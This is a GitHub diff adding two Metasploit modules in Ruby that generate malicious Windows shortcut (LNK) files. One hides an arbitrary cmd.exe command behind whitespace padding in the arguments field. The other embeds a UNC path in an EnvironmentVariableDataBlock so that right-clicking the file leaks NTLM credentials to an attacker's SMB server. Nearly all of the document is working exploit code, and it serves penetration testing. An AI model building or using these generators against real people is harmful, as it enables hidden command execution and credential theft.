Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
171 changes: 171 additions & 0 deletions modules/auxiliary/fileformat/datablock_padding_lnk.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Shortcut (LNK) Padding',
'Description' => %q{
This module generates Windows LNK (shortcut) file that can execute
arbitrary commands. The LNK file uses environment variables and execute
its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace
character padding bytes and concatenates the actual payload.
},
'License' => MSF_LICENSE,
'Author' => [ 'Nafiez' ],
'References' => [
['ZDI', 'ZDI-CAN-25373'],
['URL', 'https://zeifan.my/Windows-LNK/'],
['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],
['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']
],
'Platform' => 'win',
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
},
'DisclosureDate' => '2025-07-19'
)
)

register_options([
OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]),
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),
OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),
OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])
])
end

def run
filename = datastore['FILENAME']
command = datastore['COMMAND']
description = datastore['DESCRIPTION']
icon_path = datastore['ICON_PATH']

unless description && !description.empty?
require 'faker'
description = Faker::Lorem.sentence(word_count: 3)
description ||= 'Shortcut'
end

unless icon_path && !icon_path.empty?
require 'faker'
icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s")
icon_path ||= '%SystemRoot%\\System32\\shell32.dll'
end

buffer_size = datastore['BUFFER_SIZE']

print_status("Generating LNK file: #{filename}")

lnk_data = generate_lnk_file(command, description, icon_path, buffer_size)

file_create(lnk_data)

print_good("Successfully created #{filename}")
print_status("Command line buffer size: #{buffer_size} bytes")
print_status("Target command: #{command}")
end

private

def generate_lnk_file(command, description, icon_path, buffer_size)
data = ''.force_encoding('ASCII-8BIT')
data << create_shell_link_header
data << create_string_data(description)

cmd_buffer = create_command_buffer(command, buffer_size)

data << create_string_data(cmd_buffer)
data << create_string_data(icon_path)
data << create_environment_block

return data
end

def create_shell_link_header
header = ''.force_encoding('ASCII-8BIT')
header << [0x0000004C].pack('V')
header << [0x00021401].pack('V')
header << [0x0000].pack('v')
header << [0x0000].pack('v')
header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')

link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000

header << [link_flags].pack('V')
header << [0x00000000].pack('V')
header << [0x00000000, 0x00000000].pack('VV')
header << [0x00000000, 0x00000000].pack('VV')
header << [0x00000000, 0x00000000].pack('VV')
header << [0].pack('V')
header << [0].pack('V')
header << [0x00000007].pack('V')
header << [0].pack('v')
header << [0].pack('v')
header << [0].pack('V')
header << [0].pack('V')

return header
end

def create_string_data(str)
data = ''.force_encoding('ASCII-8BIT')

data << [str.length].pack('v')

unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
data << unicode_str

return data
end

def create_command_buffer(command, buffer_size)
cmd_command = "/c #{command}"

cmd_len = cmd_command.length
fill_bytes = buffer_size - cmd_len

if fill_bytes > 0
buffer = ' ' * fill_bytes + cmd_command
else
buffer = cmd_command
end

buffer = buffer[0, buffer_size] if buffer.length > buffer_size
buffer << "\x00"

return buffer
end

def create_environment_block
data = ''.force_encoding('ASCII-8BIT')

block_size = 0x00000314
data << [block_size].pack('V')

signature = 0xA0000001
data << [signature].pack('V')

env_path = '%windir%\\system32\\cmd.exe'

ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT')
data << ansi_buffer

unicode_buffer = env_path.encode('UTF-16LE')
unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
data << unicode_buffer

data
end
end
178 changes: 178 additions & 0 deletions modules/auxiliary/fileformat/environment_variable_datablock_leak.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,178 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',
'Description' => %q{
This module creates a malicious Windows shortcut (LNK) file that
specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)
that can trigger an authentication attempt to a remote server. This can be used
to harvest NTLM authentication credentials.

When a victim right-click the generated LNK file, it will attempt to connect to the
the specified UNC path, resulting in an SMB connection that can be captured
to harvest credentials.
},
'License' => MSF_LICENSE,
'Author' => [
'Nafiez', # Original POC & Module
],
'References' => [
['URL', 'https://zeifan.my/Right-Click-LNK/']
],
'Platform' => 'win',
'Targets' => [
['Windows', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-05-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
))

register_options([
OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']),
OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']),
OptString.new('DESCRIPTION', [true, 'The shortcut description', 'Testing Purposes']),
OptString.new('ICON_PATH', [true, 'The icon path to use', 'e.g. abc.ico']),
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),
])
end

def run
print_status("Creating '#{datastore['FILENAME']}' file...")

begin
lnk_data = create_lnk_file
file_create(lnk_data)
print_good("LNK file created: #{datastore['FILENAME']}")
print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication")
rescue => e
fail_with(Failure::BadConfig, "Error generating the LNK file: #{e.message}")
end
end

def create_lnk_file
begin
data = "".b

# LNK header - 76 bytes
header = "\x4C\x00\x00\x00".b

# LinkCLSID (00021401-0000-0000-C000-000000000046)
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b

# Define LinkFlags
link_flags = 0x00000000
link_flags |= 0x00000004 # HAS_NAME
link_flags |= 0x00000020 # HAS_ARGUMENTS
link_flags |= 0x00000040 # HAS_ICON_LOCATION
link_flags |= 0x00000080 # IS_UNICODE
link_flags |= 0x00000200 # HAS_EXP_STRING

header += [link_flags].pack('V')

# FileAttributes (FILE_ATTRIBUTE_NORMAL)
header += "\x20\x00\x00\x00".b

# CreationTime, AccessTime, WriteTime (zeroed)
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3

# FileSize
header += "\x00\x00\x00\x00".b

# IconIndex
header += "\x00\x00\x00\x00".b

# ShowCommand (SW_SHOWNORMAL)
header += "\x01\x00\x00\x00".b

# HotKey
header += "\x00\x00".b

# Reserved fields
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b

# Add the header to our binary data
data += header

# NAME field (description in Unicode)
description = datastore['DESCRIPTION'].to_s
description_utf16 = description.encode('UTF-16LE').b
data += [description_utf16.bytesize / 2].pack('v')
data += description_utf16

# ARGUMENTS field (command line arguments in Unicode)
padding_size = datastore['PADDING_SIZE']
cmd_args = " " * padding_size
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
data += [cmd_args_utf16.bytesize / 2].pack('v')
data += cmd_args_utf16

# ICON LOCATION field (icon path in Unicode)
icon_path = datastore['ICON_PATH'].to_s
icon_path_utf16 = icon_path.encode('UTF-16LE').b
data += [icon_path_utf16.bytesize / 2].pack('v')
data += icon_path_utf16

# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
env_block_size = 0x00000314 # Total size of this block
env_block_sig = 0xA0000001 # Environmental Variables block signature

data += [env_block_size].pack('V')
data += [env_block_sig].pack('V')

# Target field in ANSI (260 bytes)
unc_path = validate_unc_path(datastore['UNC_PATH'].to_s)

# Create fixed-size ANSI buffer with nulls
ansi_buffer = "\x00".b * 260

# Copy the UNC path bytes into the buffer
unc_path.bytes.each_with_index do |byte, i|
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
end

data += ansi_buffer

# Target field in Unicode (520 bytes)
unc_path_utf16 = unc_path.encode('UTF-16LE').b

# Create fixed-size Unicode buffer with nulls
unicode_buffer = "\x00".b * 520

# Copy the UTF-16LE encoded UNC path bytes into the buffer
unc_path_utf16.bytes.each_with_index do |byte, i|
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
end

data += unicode_buffer

data += "\x00\x00\x00\x00".b

return data
rescue => e
print_error("Error in create_lnk_file: #{e.message}")
print_error("#{e.backtrace.join("\n")}")
raise e
end
end

def validate_unc_path(path)
unless path.match(/^\\\\[^\\]+\\[^\\]*$/)
print_warning("UNC_PATH may not be correctly formatted. Expected format: \\\\server\\share")
end
path
end
end
Loading
Loading